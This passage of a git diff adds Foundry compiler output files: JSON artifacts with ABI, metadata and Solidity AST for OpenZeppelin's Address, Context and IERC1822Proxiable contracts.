"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":48205,"name":"isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47982,"src":"7127:10:33","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":48207,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7127:18:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374","id":48208,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7147:40:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_b94ded0918034cf8f896e19fa3cfdef1188cd569c577264a3622e49152f88520","typeString":"literal_string \"Address: delegate call to non-contract\""},"value":"Address: delegate call to non-contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b94ded0918034cf8f896e19fa3cfdef1188cd569c577264a3622e49152f88520","typeString":"literal_string \"Address: delegate call to non-contract\""}],"id":48204,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7119:7:33","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48209,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7119:69:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48210,"nodeType":"ExpressionStatement","src":"7119:69:33"},{"assignments":[48212,48214],"declarations":[{"constant":false,"id":48212,"mutability":"mutable","name":"success","nameLocation":"7205:7:33","nodeType":"VariableDeclaration","scope":48226,"src":"7200:12:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48211,"name":"bool","nodeType":"ElementaryTypeName","src":"7200:4:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48214,"mutability":"mutable","name":"returndata","nameLocation":"7227:10:33","nodeType":"VariableDeclaration","scope":48226,"src":"7214:23:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48213,"name":"bytes","nodeType":"ElementaryTypeName","src":"7214:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":48219,"initialValue":{"arguments":[{"id":48217,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48197,"src":"7261:4:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":48215,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48195,"src":"7241:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":48216,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7248:12:33","memberName":"delegatecall","nodeType":"MemberAccess","src":"7241:19:33","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":48218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7241:25:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"7199:67:33"},{"expression":{"arguments":[{"id":48221,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48212,"src":"7300:7:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":48222,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48214,"src":"7309:10:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48223,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48199,"src":"7321:12:33","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48220,"name":"verifyCallResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48258,"src":"7283:16:33","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (bool,bytes memory,string memory) pure returns (bytes memory)"}},"id":48224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7283:51:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48203,"id":48225,"nodeType":"Return","src":"7276:58:33"}]},"documentation":{"id":48193,"nodeType":"StructuredDocumentation","src":"6774:175:33","text":" @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n but performing a delegate call.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionDelegateCall","nameLocation":"6963:20:33","parameters":{"id":48200,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48195,"mutability":"mutable","name":"target","nameLocation":"7001:6:33","nodeType":"VariableDeclaration","scope":48227,"src":"6993:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48194,"name":"address","nodeType":"ElementaryTypeName","src":"6993:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48197,"mutability":"mutable","name":"data","nameLocation":"7030:4:33","nodeType":"VariableDeclaration","scope":48227,"src":"7017:17:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48196,"name":"bytes","nodeType":"ElementaryTypeName","src":"7017:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48199,"mutability":"mutable","name":"errorMessage","nameLocation":"7058:12:33","nodeType":"VariableDeclaration","scope":48227,"src":"7044:26:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48198,"name":"string","nodeType":"ElementaryTypeName","src":"7044:6:33","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6983:93:33"},"returnParameters":{"id":48203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48202,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48227,"src":"7095:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48201,"name":"bytes","nodeType":"ElementaryTypeName","src":"7095:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7094:14:33"},"scope":48259,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48258,"nodeType":"FunctionDefinition","src":"7561:742:33","nodes":[],"body":{"id":48257,"nodeType":"Block","src":"7721:582:33","nodes":[],"statements":[{"condition":{"id":48239,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48230,"src":"7735:7:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":48255,"nodeType":"Block","src":"7792:505:33","statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":48246,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":48243,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48232,"src":"7876:10:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":48244,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7887:6:33","memberName":"length","nodeType":"MemberAccess","src":"7876:17:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":48245,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7896:1:33","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7876:21:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":48253,"nodeType":"Block","src":"8234:53:33","statements":[{"expression":{"arguments":[{"id":48250,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48234,"src":"8259:12:33","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48249,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"8252:6:33","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":48251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8252:20:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48252,"nodeType":"ExpressionStatement","src":"8252:20:33"}]},"id":48254,"nodeType":"IfStatement","src":"7872:415:33","trueBody":{"id":48248,"nodeType":"Block","src":"7899:329:33","statements":[{"AST":{"nativeSrc":"8069:145:33","nodeType":"YulBlock","src":"8069:145:33","statements":[{"nativeSrc":"8091:40:33","nodeType":"YulVariableDeclaration","src":"8091:40:33","value":{"arguments":[{"name":"returndata","nativeSrc":"8120:10:33","nodeType":"YulIdentifier","src":"8120:10:33"}],"functionName":{"name":"mload","nativeSrc":"8114:5:33","nodeType":"YulIdentifier","src":"8114:5:33"},"nativeSrc":"8114:17:33","nodeType":"YulFunctionCall","src":"8114:17:33"},"variables":[{"name":"returndata_size","nativeSrc":"8095:15:33","nodeType":"YulTypedName","src":"8095:15:33","type":""}]},{"expression":{"arguments":[{"arguments":[{"kind":"number","nativeSrc":"8163:2:33","nodeType":"YulLiteral","src":"8163:2:33","type":"","value":"32"},{"name":"returndata","nativeSrc":"8167:10:33","nodeType":"YulIdentifier","src":"8167:10:33"}],"functionName":{"name":"add","nativeSrc":"8159:3:33","nodeType":"YulIdentifier","src":"8159:3:33"},"nativeSrc":"8159:19:33","nodeType":"YulFunctionCall","src":"8159:19:33"},{"name":"returndata_size","nativeSrc":"8180:15:33","nodeType":"YulIdentifier","src":"8180:15:33"}],"functionName":{"name":"revert","nativeSrc":"8152:6:33","nodeType":"YulIdentifier","src":"8152:6:33"},"nativeSrc":"8152:44:33","nodeType":"YulFunctionCall","src":"8152:44:33"},"nativeSrc":"8152:44:33","nodeType":"YulExpressionStatement","src":"8152:44:33"}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":48232,"isOffset":false,"isSlot":false,"src":"8120:10:33","valueSize":1},{"declaration":48232,"isOffset":false,"isSlot":false,"src":"8167:10:33","valueSize":1}],"id":48247,"nodeType":"InlineAssembly","src":"8060:154:33"}]}}]},"id":48256,"nodeType":"IfStatement","src":"7731:566:33","trueBody":{"id":48242,"nodeType":"Block","src":"7744:42:33","statements":[{"expression":{"id":48240,"name":"returndata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48232,"src":"7765:10:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48238,"id":48241,"nodeType":"Return","src":"7758:17:33"}]}}]},"documentation":{"id":48228,"nodeType":"StructuredDocumentation","src":"7347:209:33","text":" @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n revert reason using the provided one.\n _Available since v4.3._"},"implemented":true,"kind":"function","modifiers":[],"name":"verifyCallResult","nameLocation":"7570:16:33","parameters":{"id":48235,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48230,"mutability":"mutable","name":"success","nameLocation":"7601:7:33","nodeType":"VariableDeclaration","scope":48258,"src":"7596:12:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48229,"name":"bool","nodeType":"ElementaryTypeName","src":"7596:4:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":48232,"mutability":"mutable","name":"returndata","nameLocation":"7631:10:33","nodeType":"VariableDeclaration","scope":48258,"src":"7618:23:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48231,"name":"bytes","nodeType":"ElementaryTypeName","src":"7618:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48234,"mutability":"mutable","name":"errorMessage","nameLocation":"7665:12:33","nodeType":"VariableDeclaration","scope":48258,"src":"7651:26:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48233,"name":"string","nodeType":"ElementaryTypeName","src":"7651:6:33","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7586:97:33"},"returnParameters":{"id":48238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48237,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48258,"src":"7707:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48236,"name":"bytes","nodeType":"ElementaryTypeName","src":"7707:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7706:14:33"},"scope":48259,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"Address","contractDependencies":[],"contractKind":"library","documentation":{"id":47967,"nodeType":"StructuredDocumentation","src":"126:67:33","text":" @dev Collection of functions related to the address type"},"fullyImplemented":true,"linearizedBaseContracts":[48259],"name":"Address","nameLocation":"202:7:33","scope":48260,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":33} \ No newline at end of file diff --git a/contracts/out/contracts/utils/Context.sol/Context.json b/contracts/out/contracts/utils/Context.sol/Context.json new file mode 100644 index 000000000..c5db91b29 --- /dev/null +++ b/contracts/out/contracts/utils/Context.sol/Context.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts.\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":\"Context\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":"Context"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Context.sol","id":48282,"exportedSymbols":{"Context":[48281]},"nodeType":"SourceUnit","src":"86:758:34","nodes":[{"id":48261,"nodeType":"PragmaDirective","src":"86:23:34","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":48281,"nodeType":"ContractDefinition","src":"608:235:34","nodes":[{"id":48271,"nodeType":"FunctionDefinition","src":"640:96:34","nodes":[],"body":{"id":48270,"nodeType":"Block","src":"702:34:34","nodes":[],"statements":[{"expression":{"expression":{"id":48267,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"719:3:34","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":48268,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"723:6:34","memberName":"sender","nodeType":"MemberAccess","src":"719:10:34","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":48266,"id":48269,"nodeType":"Return","src":"712:17:34"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_msgSender","nameLocation":"649:10:34","parameters":{"id":48263,"nodeType":"ParameterList","parameters":[],"src":"659:2:34"},"returnParameters":{"id":48266,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48265,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48271,"src":"693:7:34","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48264,"name":"address","nodeType":"ElementaryTypeName","src":"693:7:34","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"692:9:34"},"scope":48281,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":48280,"nodeType":"FunctionDefinition","src":"742:99:34","nodes":[],"body":{"id":48279,"nodeType":"Block","src":"809:32:34","nodes":[],"statements":[{"expression":{"expression":{"id":48276,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"826:3:34","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":48277,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"830:4:34","memberName":"data","nodeType":"MemberAccess","src":"826:8:34","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}},"functionReturnParameters":48275,"id":48278,"nodeType":"Return","src":"819:15:34"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_msgData","nameLocation":"751:8:34","parameters":{"id":48272,"nodeType":"ParameterList","parameters":[],"src":"759:2:34"},"returnParameters":{"id":48275,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48274,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48280,"src":"793:14:34","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":48273,"name":"bytes","nodeType":"ElementaryTypeName","src":"793:5:34","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"792:16:34"},"scope":48281,"stateMutability":"view","virtual":true,"visibility":"internal"}],"abstract":true,"baseContracts":[],"canonicalName":"Context","contractDependencies":[],"contractKind":"contract","documentation":{"id":48262,"nodeType":"StructuredDocumentation","src":"111:496:34","text":" @dev Provides information about the current execution context, including the\n sender of the transaction and its data. While these are generally available\n via msg.sender and msg.data, they should not be accessed in such a direct\n manner, since when dealing with meta-transactions the account sending and\n paying for execution may not be the actual sender (as far as an application\n is concerned).\n This contract is only required for intermediate, library-like contracts."},"fullyImplemented":true,"linearizedBaseContracts":[48281],"name":"Context","nameLocation":"626:7:34","scope":48282,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":34} \ No newline at end of file diff --git a/contracts/out/draft-IERC1822.sol/IERC1822Proxiable.json b/contracts/out/draft-IERC1822.sol/IERC1822Proxiable.json new file mode 100644 index 000000000..45168f8f3 --- /dev/null +++ b/contracts/out/draft-IERC1822.sol/IERC1822Proxiable.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"proxiableUUID","inputs":[],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"proxiableUUID()":"52d1902d"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"proxiableUUID\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified proxy whose upgrades are fully controlled by the current implementation.\",\"kind\":\"dev\",\"methods\":{\"proxiableUUID()\":{\"details\":\"Returns the storage slot that the proxiable contract assumes is being used to store the implementation address. IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this function revert if invoked through a proxy.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":\"IERC1822Proxiable\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"proxiableUUID","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}]}],"devdoc":{"kind":"dev","methods":{"proxiableUUID()":{"details":"Returns the storage slot that the proxiable contract assumes is being used to store the implementation address. IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this function revert if invoked through a proxy."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":"IERC1822Proxiable"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol","id":46711,"exportedSymbols":{"IERC1822Proxiable":[46710]},"nodeType":"SourceUnit","src":"113:766:24","nodes":[{"id":46702,"nodeType":"PragmaDirective","src":"113:23:24","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":46710,"nodeType":"ContractDefinition","src":"342:536:24","nodes":[{"id":46709,"nodeType":"FunctionDefinition","src":"819:57:24","nodes":[],"documentation":{"id":46704,"nodeType":"StructuredDocumentation","src":"376:438:24","text":" @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation\n address.\n IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks\n bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this\n function revert if invoked through a 